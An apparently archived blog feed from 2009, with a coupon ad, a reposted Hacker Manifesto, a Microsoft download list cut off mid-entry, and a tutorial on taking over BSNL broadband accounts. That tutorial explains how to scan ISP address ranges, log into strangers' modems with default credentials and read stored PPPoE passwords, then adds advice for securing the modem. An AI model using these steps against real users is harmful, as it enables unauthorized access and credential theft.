<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' xmlns:gd='http://schemas.google.com/g/2005' xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-2609857889221977448</id><updated>2011-07-08T08:36:36.436+05:30</updated><category term='Random'/><category term='offers'/><category term='mobile hacking'/><category term='Networking'/><category term='script'/><category term='History'/><category term='hacking'/><category term='info'/><category term='Windows'/><category term='Downloads'/><category term='tracing'/><category term='Registry'/><category term='Tricks'/><category term='News'/><category term='Tutorials'/><category term='ftp'/><category term='Programming'/><category term='virus/antivirus'/><title type='text'>Unleashing The POWER Within</title><subtitle type='html'>Hack the way you think!!!</subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://ankitunleashed.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2609857889221977448/posts/default?max-results=100'/><link rel='alternate' type='text/html' href='http://ankitunleashed.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><author><name>Ankit Agarwal</name><uri>http://www.blogger.com/profile/04026923538267657452</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>44</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>100</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-2609857889221977448.post-7221282209735323381</id><published>2009-09-20T13:07:00.002+05:30</published><updated>2009-09-20T13:14:15.279+05:30</updated><title type='text'>We are moving!!</title><content type='html'>I am really thankful to all my readers who stayed with me for so long.This is to inform you all that we soon will be moving!!&lt;br /&gt;Change is what in this world is permanent and some changes are needed to make things better.&lt;br /&gt;&lt;br /&gt;I have booked the domain ankitkumaragarwal.com (please bookmark it) and the site is already in construction. Hope to see you There.&lt;br /&gt;Thanks&lt;br /&gt;Ankit &lt;span class="fullpost"&gt;&lt;br /&gt;&lt;br /&gt;And here is the rest of it.&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2609857889221977448-7221282209735323381?l=ankitunleashed.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ankitunleashed.blogspot.com/feeds/7221282209735323381/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2609857889221977448&amp;postID=7221282209735323381' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2609857889221977448/posts/default/7221282209735323381'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2609857889221977448/posts/default/7221282209735323381'/><link rel='alternate' type='text/html' href='http://ankitunleashed.blogspot.com/2009/09/we-are-moving.html' title='We are moving!!'/><author><name>Ankit Agarwal</name><uri>http://www.blogger.com/profile/04026923538267657452</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2609857889221977448.post-2344317087484002847</id><published>2009-08-28T09:41:00.005+05:30</published><updated>2009-08-28T09:53:34.640+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='offers'/><title type='text'>Hostgator coupons</title><content type='html'>HOSTGATOR COUPONS!!! LOST OF THEM..TRY HOSTGATOR FOR $0.01&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://secure.hostgator.com/cgi-bin/affiliates/clickthru.cgi?id=ankitfrenz" target="_blank"&gt;&lt;img src="http://www.hostgator.com/affiliates/banners/banner468x68.gif" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Coupon  Discount &lt;br /&gt;Save BIG at HostGator with a Coupon&lt;br /&gt;&lt;br /&gt;HostGator Coupons has the most comprehensive list of HostGator coupon codes available. Every coupon was collected from various sources around the net. We've already done the searching for you! Use any coupon to save money with HostGator web hosting!!&lt;br /&gt;hgc25  $9.94 Off&lt;br /&gt;cnet  $9.94 Off&lt;br /&gt;GAMERZ  $9.94 Off&lt;br /&gt;top10  $9.94 Off&lt;br /&gt;sa101  $9.94 Off&lt;br /&gt;freetrial  $9.94 Off&lt;br /&gt;tophost $9.94 Off&lt;br /&gt;Green   20% OFF &lt;br /&gt;&lt;a href="http://secure.hostgator.com/cgi-bin/affiliates/clickthru.cgi?id=ankitfrenz"&gt;Sign Up Now!&lt;/a&gt;&lt;br /&gt;&lt;a href="http://secure.hostgator.com/cgi-bin/affiliates/clickthru.cgi?id=ankitfrenz" target="_blank"&gt;&lt;img src="http://www.hostgator.com/affiliates/banners/banner468x68.gif" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;span style="font-size:78%;"&gt;check all details before signing&lt;/span&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2609857889221977448-2344317087484002847?l=ankitunleashed.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ankitunleashed.blogspot.com/feeds/2344317087484002847/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2609857889221977448&amp;postID=2344317087484002847' title='4 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2609857889221977448/posts/default/2344317087484002847'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2609857889221977448/posts/default/2344317087484002847'/><link rel='alternate' type='text/html' href='http://ankitunleashed.blogspot.com/2009/08/hostgator-coupons.html' title='Hostgator coupons'/><author><name>Ankit Agarwal</name><uri>http://www.blogger.com/profile/04026923538267657452</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>4</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2609857889221977448.post-7209567061312282060</id><published>2009-05-27T12:42:00.002+05:30</published><updated>2009-05-27T12:50:46.729+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='Tutorials'/><category scheme='http://www.blogger.com/atom/ns#' term='hacking'/><title type='text'>How to Hack BSNL brod band aacounts?</title><content type='html'>&lt;b&gt;Disclaimer : The information provided below is for educational purpose only. The author is not responsible for any misuse of the information and discourages any illegal use of it.&lt;o:p&gt;&lt;/o:p&gt;&lt;/b&gt;&lt;/p&gt;  &lt;b&gt;&lt;span style="font-size: 11pt; line-height: 115%; font-family: &amp;quot;Calibri&amp;quot;,&amp;quot;sans-serif&amp;quot;;"&gt;&lt;br /&gt;Bsnl DataOne Broadband continues to grow as one the most popular broadband services in India with high speed facilities of upto 2 mpbs. But a large number of users of this service are vulnerable to hacker attacks because discovering and hacking the vulnerable victims of this network is shockingly simple. If you are a Bsnl Broadband user then immediately assess the security of your internet connection and take appropriate steps to secure yourself.&lt;br /&gt;&lt;br /&gt; &lt;span class="fullpost"&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;First lets see how simple it is to hack bsnl dataone broadband usernames and passwords. For this you shall need a ipscanner tool called Angry IP Scanner http://www.angryziber.com/ipscan/ or anything similar.&lt;br /&gt;&lt;br /&gt;Ok so lets begin... Get your IP from :&lt;br /&gt;www.ipmango.com&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Step 1 : Start Angry IP scanner and goto options &gt; ports. Type in 80 in the first ports textbox and click ok.&lt;br /&gt;Then goto options &gt; options ; in the display section select "only open ports" and click ok&amp;amp;save.&lt;br /&gt;&lt;br /&gt;Now on the main screen put in the ip scan range as something 59.*.0.0 - 59.*.255.255 (for e.g. 59.95.2.3) and click the start button. And the list that shall follow next are the victims. In this example we choose the range 59.95.0.0 - 59.95.255.255. You will be surprised at the number of victims you discover.&lt;br /&gt;&lt;br /&gt;Step 2 : Pick the ip-address of any of them and open up your browser and type in http://59.*.*.* (the * should be replaced by the values from the ip you are using. A box will popup asking for username and password. Enter the username : admin and password : admin .There is a high chance that you will be able to login with that username and password.&lt;br /&gt;admin-admin is the default username and password that is set while manufacturing the adsl modem devices.&lt;br /&gt;&lt;br /&gt;What follows next is the modem administration panel.&lt;br /&gt;Simply search for the "WAN" option and click it. On the next page you will find the username and password of that user. now right-click on the page and click view source. in Mozilla/Opera This frame -&gt; view frame source&lt;br /&gt;&lt;br /&gt;Now in the source code search for this : INPUT TYPE="PASSWORD"&lt;br /&gt;&lt;br /&gt;and the value field of this input element will have the password&lt;br /&gt;&lt;br /&gt;if its not there as in case of D-Link DSL 502T ADSL Routers the search for this&lt;br /&gt;&lt;br /&gt;input type="hidden" name="connection0:pppoe:settings/password" value="password" id="uiPostPppoePassword"&lt;br /&gt;&lt;br /&gt;and the value field will have the password&lt;br /&gt;Well each steps take less than 1 minute so getting username passwords wont take even 2 minutes and is easier than sending a mail.&lt;br /&gt;&lt;br /&gt;And this exposes the weak security of bsnl broadband users.&lt;br /&gt;&lt;br /&gt;Well this is not a weakness but more of a mis-configuration which leads to insecurity. If you understand networking then you would probably realise that it was merely logging into the remote administration service of the modem and nothing else. This was not really hacking but a simple search of victims who are absolutely ignorant of their weak security on the internet.&lt;br /&gt;&lt;br /&gt;Most routers have an option where remote management can be disabled. In other words, you can only connect to the configuration interface from the internal network, not the WAN(Internet) side. You would definitely want to make sure remote management is not active to protect yourself.&lt;br /&gt;&lt;br /&gt;Note : On SmartAX MT880 eventhough Remote Management is disabled , it permits remote logins from over the Internet. So change your mode administration passwords immediately.&lt;br /&gt;&lt;br /&gt;The problem is that the professionals at Bsnl are ignorant of such simplicity of networking and unable to advise the users or guide them to take proper security measures leaving their customers and themselves absolutely unsecure.&lt;br /&gt;&lt;br /&gt;Now lets check a few more options related to this issue. A bsnl broadband modem can be used in two modes. RFC Bridged mode and pppoe mode.&lt;br /&gt;&lt;br /&gt;In the RFC Bridged mode the device behaves like a modem device that is attached to your computer and you use some dialup software to dial into the isp through this modem.This is PPPOE from the PC and the adsl device is a good modem. This mode is safer as the username password are on your pc and nothing is on the modem.&lt;br /&gt;&lt;br /&gt;In the PPPOE mode the adsl device becomes a router - a distinct network device with many features enabled. In this mode the username password is stored in the modem which will dial to the isp and establish the internet connectivity. The computers will just connect to this router who would be their primary gateway. Now this is the mode where the risk exists.&lt;br /&gt;&lt;br /&gt;If remote administration is enabled the remote users from the internet can login to this modems administration panel. Now the main problem is the default admin username-password which most users dont change due to ignorance. "admin-admin" is pair that works in most cases giving you full access to the modems internals. What follows next is simple as drinking a glass of orange juice.&lt;br /&gt;&lt;br /&gt;Many users install firewalls and think they are safe, but they fail to understand that the firewall protects their PC not the "router" since the topology is like&lt;br /&gt;&lt;br /&gt;(PC) -&gt; router -&gt; internet&lt;br /&gt;&lt;br /&gt;So how should you secure yourself ?&lt;br /&gt;&lt;br /&gt;1. Use RFC Bridged mode if it is sufficient for you.&lt;br /&gt;&lt;br /&gt;2. Change the default admin password of your modem.&lt;br /&gt;&lt;br /&gt;3. Disable wan ping reply . ( this will prevent the hackers from directly discovering your pc when it is on the internet)&lt;br /&gt;&lt;br /&gt;4. Disable remote configuration feature.&lt;br /&gt;&lt;br /&gt;5. Check your broadband usage on a regular basis and compare it with your own surfing schedules to check whether someone else has used it or not. If suspiscious usage is indicated then immediately change your bband password as well. Or a better suggestion would be to change broadband passwords on a regular basis.&lt;br /&gt;&lt;br /&gt;Try to spread the security awareness to your friends and other relatives who are using Bsnl broadband and encourage them to secure their internet connectivity.&lt;br /&gt;&lt;br /&gt;Disclaimer : The information provided above is for educational purpose only. The main purpose of the author is to spread awareness amongst users. The author is not responsible for any misuse of the information and discourages any illegal use of it.&lt;/b&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/p&gt; &lt;br /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2609857889221977448-7209567061312282060?l=ankitunleashed.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ankitunleashed.blogspot.com/feeds/7209567061312282060/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2609857889221977448&amp;postID=7209567061312282060' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2609857889221977448/posts/default/7209567061312282060'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2609857889221977448/posts/default/7209567061312282060'/><link rel='alternate' type='text/html' href='http://ankitunleashed.blogspot.com/2009/05/how-to-hack-bsnl-brod-band-aacounts.html' title='How to Hack BSNL brod band aacounts?'/><author><name>Ankit Agarwal</name><uri>http://www.blogger.com/profile/04026923538267657452</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2609857889221977448.post-6992554166485674118</id><published>2009-04-21T23:02:00.002+05:30</published><updated>2009-04-21T23:05:57.230+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='Random'/><title type='text'>The hacker manifesto</title><content type='html'>Another one got caught today, it's all over the papers.  "Teenager Arrested in Computer Crime Scandal", Hacker         Arrested after Bank Tampering"...&lt;br /&gt;&lt;br /&gt;        Damn kids.  They're all alike.&lt;br /&gt;&lt;br /&gt;        But did  you, in your three-piece psychology and 1950's technobrain,  ever take a look behind the eyes of the hacker?         Did you ever wonder what made him tick, what forces shaped him, what may  have molded him?&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;&lt;br /&gt;I am a hacker, enter my world...&lt;br /&gt;&lt;br /&gt;        Mine is a  world that begins with school... I'm smarter than most of the  other kids, this crap they teach us bores me...&lt;br /&gt;&lt;br /&gt;        Damn  underachiever.  They're all alike.&lt;br /&gt;&lt;br /&gt;        I'm in junior high or high  school.  I've listened to teachers explain for the fifteenth  time how to reduce a fraction.  I understand it.  "No, Ms.  Smith, I didn't show my work.  I did it in my head..."&lt;br /&gt;&lt;br /&gt;        Damn kid.  Probably copied it.  They're all alike.&lt;br /&gt;&lt;br /&gt;        I made a  discovery today.  I found a computer.  Wait a second, this is  cool.  It does what I want it to.  If it makes a mistake, it's  because I screwed it up.  Not because it doesn't like me...  Or  feels threatened by me.. Or thinks I'm a smart ass.. Or doesn't  like teaching and shouldn't be here...&lt;br /&gt;&lt;br /&gt;        Damn kid.  All he does is play games.  They're all alike.&lt;br /&gt;&lt;br /&gt;        And then it happened... a  door opened to a world... rushing through the phone line like  heroin through an addict's veins, an electronic pulse is sent  out, a refuge from the day-to-day incompetencies is sought... a  board is found.  "This is it... this is where I belong..." I  know everyone here... even if I've never met them, never talked  to them, may never hear from them again... I know you all...&lt;br /&gt;&lt;br /&gt; Damn kid.  Tying up the phone line again.  They're all  alike...&lt;br /&gt;&lt;br /&gt;        You bet your ass we're all alike... we've been  spoon-fed baby food at school when we hungered for steak... the  bits of meat that you did let slip through were pre-chewed and  tasteless.  We've been dominated by sadists, or ignored by the  apathetic.  The few that had something to teach found us  willing pupils, but those few are like drops of water in the  desert.        &lt;br /&gt;&lt;br /&gt; This is our world now... the world of the electron and the  switch, the beauty of the baud.  We make use of a service  already existing without paying for what could be dirt-cheap if  it wasn't run by profiteering gluttons, and you call us  criminals.  We explore... and you call us criminals.  We seek  after knowledge... and you call us criminals.  We exist without  skin color, without nationality, without religious bias...  and  you call us criminals. You build atomic bombs, you wage wars,  you murder, cheat, and lie to us and try to make us believe  it's for our own good, yet we're the criminals.&lt;br /&gt;&lt;br /&gt; Yes, I am a criminal.  My crime is that of curiosity.  My crime  is that of judging people by what they say and think, not what  they look like. My crime is that of outsmarting you, something  that you will never forgive me for.&lt;br /&gt;&lt;br /&gt;        I am a hacker, and this is  my manifesto.  You may stop this individual, but you can't stop  us all...  after all, we're all alike.    &lt;br /&gt;&lt;br /&gt;note:-this was origianlly written by +++The Mentor+++&lt;br /&gt;      Written January 8, 1986&lt;br /&gt;here the hacker usually represnets a black hat hacker&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2609857889221977448-6992554166485674118?l=ankitunleashed.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ankitunleashed.blogspot.com/feeds/6992554166485674118/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2609857889221977448&amp;postID=6992554166485674118' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2609857889221977448/posts/default/6992554166485674118'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2609857889221977448/posts/default/6992554166485674118'/><link rel='alternate' type='text/html' href='http://ankitunleashed.blogspot.com/2009/04/hacker-manifesto.html' title='The hacker manifesto'/><author><name>Ankit Agarwal</name><uri>http://www.blogger.com/profile/04026923538267657452</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2609857889221977448.post-8960798446916668235</id><published>2009-04-12T11:36:00.000+05:30</published><updated>2009-04-10T11:42:10.985+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='Downloads'/><title type='text'>FREE DOWNLOADS FROM MICROSOFT-2</title><content type='html'>This post is continued from the first list which you can find &lt;a href="http://ankitunleashed.blogspot.com/2009/04/free-downloads-from-microsoft.html"&gt;here&lt;/a&gt;.&lt;br /&gt;If you like the list dont forget to leave a comment!!&lt;br /&gt;enjoy!!&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;&lt;span id="ctl00_MainContentPlaceholder_ctl01_ctl00_lblEntry"&gt;&lt;div&gt;&lt;strong&gt;MULTIMEDIA &lt;/strong&gt;&lt;/div&gt; &lt;blockquote dir="ltr"&gt; &lt;div&gt;&lt;a href="http://download.microsoft.com/download/whistler/Install/2/WXP/EN-US/SlideshowPowertoySetup.exe"&gt;&lt;strong&gt;&lt;u&gt;CD Slide Show Generator&lt;/u&gt;&lt;/strong&gt;&lt;/a&gt; can view images burned to a CD as a slide show.&lt;/div&gt; &lt;div&gt; &lt;/div&gt; &lt;div&gt;&lt;a href="http://download.microsoft.com/download/f/f/7/ff7a9eaa-782d-48a4-834c-0adeb267b25b/decades_autoplaylists.exe"&gt;&lt;strong&gt;&lt;u&gt;"Decades" Auto Playlist Pack&lt;/u&gt;&lt;/strong&gt;&lt;/a&gt; include dozens new auto playlists to organize your music by decades—from the 1940s through the new millennium.&lt;/div&gt; &lt;div&gt; &lt;/div&gt; &lt;div&gt;&lt;a href="http://download.microsoft.com/download/9/f/d/9fdfb288-b4bf-45fa-959c-1cc6d909aa92/wmformat95sdk.exe"&gt;&lt;strong&gt;&lt;u&gt;Device Manager Software Development Kit (SDK)&lt;/u&gt;&lt;/strong&gt;&lt;/a&gt; works with devices that support the new Media Transfer Protocol (MTP).&lt;/div&gt; &lt;div&gt; &lt;/div&gt; &lt;div&gt;&lt;a href="http://research.microsoft.com/research/downloads/download.aspx?FUID=%7B7E9DE40F-06DB-452C-A0F2-4FABB4F20F52%7D"&gt;&lt;strong&gt;&lt;u&gt;Easy Camera Calibration Tool&lt;/u&gt;&lt;/strong&gt;&lt;/a&gt; determines a camera’s internal parameters (focal length, aspect ratio, radial distortion, etc.). The technique only requires the camera to observe a planar pattern shown at a few (at least two) different orientations. Either the camera or the planar pattern can be freely moved. The motion need not be known. (Support: &lt;a href="http://research.microsoft.com/%7Ezhang/calib/"&gt;&lt;strong&gt;Website&lt;/strong&gt;&lt;/a&gt;)&lt;/div&gt; &lt;div&gt; &lt;/div&gt; &lt;div&gt;&lt;a href="ftp://ftp.research.microsoft.com/downloads/b215d477-9116-4708-a543-7ca498e6c2eb/GroupShotSetup.msi"&gt;&lt;strong&gt;&lt;u&gt;GroupShot&lt;/u&gt;&lt;/strong&gt;&lt;/a&gt; creates a composite image from a series of photos. The photos must be of the same scene, taken from the same point of view within a short period of time. (Support: &lt;a href="http://research.microsoft.com/projects/GroupShot/GroupShotHelp.htm"&gt;&lt;strong&gt;Help&lt;/strong&gt;&lt;/a&gt;, &lt;a href="http://research.microsoft.com/projects/GroupShot/"&gt;&lt;strong&gt;Website&lt;/strong&gt;&lt;/a&gt; &amp;amp; &lt;a href="http://channel9.msdn.com/Showpost.aspx?postid=231619"&gt;&lt;strong&gt;Channel 9 Video&lt;/strong&gt;&lt;/a&gt;)&lt;/div&gt; &lt;div&gt; &lt;/div&gt; &lt;div&gt; &lt;div&gt;&lt;a href="http://download.microsoft.com/download/f/c/a/fca6767b-9ed9-45a6-b352-839afb2a2679/HTMLSlideShowSetup.exe"&gt;&lt;strong&gt;&lt;u&gt;HTML Slide Show Wizard&lt;/u&gt;&lt;/strong&gt;&lt;/a&gt; creates an HTML slide show of your digital pictures.&lt;/div&gt; &lt;div&gt; &lt;/div&gt; &lt;div&gt;&lt;a href="http://download.microsoft.com/download/whistler/Install/2/WXP/EN-US/ImageResizerPowertoySetup.exe"&gt;&lt;strong&gt;&lt;u&gt;Image Resizer&lt;/u&gt;&lt;/strong&gt;&lt;/a&gt; resizes one or many image files with a right-click. (Support: &lt;a href="http://www.microsoft.com/windowsxp/using/digitalphotography/learnmore/tips/eschelman2.mspx"&gt;&lt;strong&gt;How to . . .&lt;/strong&gt;&lt;/a&gt;)&lt;br /&gt;&lt;br /&gt;&lt;a href="http://research.microsoft.com/research/downloads/download.aspx?FUID=e220ae56-ae96-4901-8102-280f8ca3ffcd"&gt;&lt;strong&gt;&lt;u&gt;JetStream Image Editor&lt;/u&gt;&lt;/strong&gt;&lt;/a&gt; with cut and paste tool, based on sequential curve growing with interaction. (Support: &lt;a href="http://www.research.microsoft.com/vision/cambridge/JetStream/"&gt;&lt;strong&gt;Website&lt;/strong&gt;&lt;/a&gt;)&lt;/div&gt; &lt;div&gt; &lt;/div&gt; &lt;div&gt;&lt;a href="http://download.microsoft.com/download/f/4/2/f42d2d1d-9f88-488b-bd74-5c1a87fcd601/wmal2pcm_setup.exe"&gt;&lt;strong&gt;&lt;u&gt;Media Audio 9 Lossless to PCM Converter&lt;/u&gt;&lt;/strong&gt;&lt;/a&gt; &lt;strong&gt;-&lt;/strong&gt; command line tool converts files encoded using Windows Media Audio 9 Lossless back into the original PCM WAV format.&lt;/div&gt; &lt;div&gt; &lt;/div&gt; &lt;div&gt;&lt;strong&gt;&lt;a href="http://download.microsoft.com/download/winmediaplayer/BPk/XP/WXP/EN-US/WMBonusXP.exe"&gt;&lt;u&gt;Media Bonus Pack:&lt;/u&gt;&lt;/a&gt;&lt;/strong&gt; utilities, PowerToys, visualizations, skins, sound effects, and much more. (&lt;a href="http://download.microsoft.com/download/winmediaplayer/BPk/XP/WXP/EN-US/WMBonusXP-Net.exe"&gt;&lt;strong&gt;Net Install&lt;/strong&gt;&lt;/a&gt; Version)&lt;/div&gt;&lt;/div&gt; &lt;div&gt; &lt;/div&gt; &lt;div&gt;&lt;a href="http://download.microsoft.com/download/a/8/3/a83d788e-8dec-4799-b594-e9470eba7293/wm9capture_setup.exe"&gt;&lt;strong&gt;&lt;u&gt;Media Capture&lt;/u&gt;&lt;/strong&gt;&lt;/a&gt; capture uncompressed AVI video files with mono, stereo, 5.1, or 7.1 channels of audio, with up to 24 bit resolution and sampling rates up to 192KHz. &lt;/div&gt; &lt;div&gt; &lt;/div&gt; &lt;div&gt;&lt;a href="http://www.microsoft.com/windows/windowsmedia/forpros/encoder/default.mspx"&gt;&lt;strong&gt;&lt;u&gt;Media Encoder&lt;/u&gt;&lt;/strong&gt;&lt;/a&gt; provides support for high-quality multichannel sound, high-definition video quality, new support for mixed-mode voice and music content, and more. (Support: &lt;a href="http://download.microsoft.com/download/a/e/3/ae32d073-2a41-48f4-9907-baa8d8d5eb7b/Intro_to_WM9Series.doc"&gt;&lt;strong&gt;Introduction to . . .&lt;/strong&gt;&lt;/a&gt;)&lt;/div&gt; &lt;div&gt; &lt;/div&gt; &lt;div&gt;&lt;a href="http://www.microsoft.com/windows/windowsmedia/forpros/encoderse/default.aspx"&gt;&lt;strong&gt;&lt;u&gt;Media Encoder Studio Edition&lt;/u&gt;&lt;/strong&gt;&lt;/a&gt; for video professionals, focused on the creation of high-quality, offline encoded content.&lt;/div&gt; &lt;div&gt; &lt;/div&gt; &lt;div&gt;&lt;a href="http://download.microsoft.com/download/f/9/3/f93c49aa-1644-4a82-b6ee-6624c55e3010/wavavimux_setup.exe"&gt;&lt;strong&gt;&lt;u&gt;Media Mono to Multichannel Wave Combiner 9 Series&lt;/u&gt;&lt;/strong&gt;&lt;/a&gt; &lt;strong&gt;-&lt;/strong&gt; command line tool will combine 2, 6 or 8 mono WAV files into an audio-only AVI file that can be used as a source with the Windows Media Encoder 9 Series. &lt;/div&gt; &lt;div&gt; &lt;/div&gt; &lt;div&gt;&lt;a href="http://download.microsoft.com/download/A/7/E/A7E58606-58A3-429B-AFC0-50159DB5BC13/WMPlayer10SDK.exe"&gt;&lt;strong&gt;&lt;u&gt;Media Player Software Development Kit (SDK)&lt;/u&gt;&lt;/strong&gt;&lt;/a&gt; introduces a range of new features and functionality for customizing the Player and Player Control.&lt;/div&gt; &lt;div&gt; &lt;/div&gt; &lt;div&gt;&lt;a href="http://download.microsoft.com/download/5/1/3/51357190-e70b-40f0-94d6-36a4121b5b88/Windows%20Media%20Professional%20Exhibitor.zip"&gt;&lt;strong&gt;&lt;u&gt;Media Professional Exhibitor&lt;/u&gt;&lt;/strong&gt;&lt;/a&gt; intended for playback at full-screen resolution at all times. All transport and playlist controls appear on a (required) second monitor allowing for a theatrical viewing experience. &lt;/div&gt; &lt;div&gt; &lt;/div&gt; &lt;div&gt;&lt;a href="http://www.microsoft.com/downloads/details.aspx?FamilyId=A2E73160-E862-4F19-BB26-C0CAFE798955&amp;amp;displaylang=en"&gt;&lt;strong&gt;&lt;u&gt;Media Transfer Protocol Porting Kit&lt;/u&gt;&lt;/strong&gt;&lt;/a&gt; introduces the new Media Transfer Protocol (MTP), which enables you to manage content on any portable device. &lt;/div&gt; &lt;div&gt; &lt;/div&gt; &lt;div&gt;&lt;a href="http://www.microsoft.com/windowsxp/downloads/updates/moviemaker2.mspx"&gt;&lt;strong&gt;&lt;u&gt;Movie Maker&lt;/u&gt;&lt;/strong&gt;&lt;/a&gt; create, edit, and share home movies easily with drag-and-drops. [Fun Packs: Winter &lt;a href="http://www.microsoft.com/downloads/details.aspx?FamilyID=e04a4dc2-6534-4946-a514-c1309846919b&amp;amp;DisplayLang=en"&gt;&lt;strong&gt;2002&lt;/strong&gt;&lt;/a&gt; &amp;amp; &lt;a href="http://www.microsoft.com/windowsxp/downloads/powertoys/mmfunpack.mspx"&gt;&lt;strong&gt;2003&lt;/strong&gt;&lt;/a&gt; - Creative &lt;a href="http://www.microsoft.com/downloads/details.aspx?FamilyID=b6c551a6-ec9d-4d43-86c6-9c0d86a9eaa6&amp;amp;DisplayLang=en"&gt;&lt;strong&gt;Audio&lt;/strong&gt;&lt;/a&gt;, &lt;a href="http://www.microsoft.com/downloads/details.aspx?FamilyID=82946114-ca53-457c-8965-19e27214cef1&amp;amp;DisplayLang=en"&gt;&lt;strong&gt;Titles&lt;/strong&gt;&lt;/a&gt;,  &lt;a href="http://www.microsoft.com/downloads/details.aspx?FamilyID=6da22934-8bd4-4875-b68e-a9723476b6b5&amp;amp;DisplayLang=en"&gt;&lt;strong&gt;Custom Effects and Transitions&lt;/strong&gt;&lt;/a&gt;] (Support: &lt;a href="http://blogs.msdn.com/tiptalk/archive/2006/01/25/516471.aspx"&gt;&lt;strong&gt;Blog Posting&lt;/strong&gt;&lt;/a&gt;)&lt;/div&gt; &lt;div&gt; &lt;/div&gt; &lt;div&gt;&lt;a href="http://www.microsoft.com/downloads/details.aspx?FamilyId=B038D4B5-1D88-437C-9F54-1FB0D210B5EF&amp;amp;displaylang=en"&gt;&lt;strong&gt;&lt;u&gt;Photo Info&lt;/u&gt;&lt;/strong&gt;&lt;/a&gt; allows photographers to add, change and delete common "metadata" properties for digital photographs from inside Windows Explorer. (Support: &lt;a href="http://www.microsoft.com/downloads/details.aspx?FamilyID=389155aa-0f3c-4f72-b97e-058f854cd46d&amp;amp;DisplayLang=en"&gt;&lt;strong&gt;FAQ&lt;/strong&gt;&lt;/a&gt;)&lt;/div&gt; &lt;div&gt; &lt;/div&gt; &lt;div&gt;&lt;a href="http://www.getpaint.net/"&gt;&lt;strong&gt;&lt;u&gt;Paint.Net&lt;/u&gt;&lt;/strong&gt;&lt;/a&gt; originated as a Computer Science senior design project at Washington State University, and is still developed by the two alumni Rick Brewster and Tom Jackson who now work for Microsoft. Don't forget the &lt;a href="http://paintdotnet.12.forumer.com/viewforum.php?f=16"&gt;&lt;strong&gt;Free Paint.Net Plug-Ins&lt;/strong&gt;&lt;/a&gt;!&lt;/div&gt; &lt;div&gt; &lt;/div&gt; &lt;div&gt;&lt;a 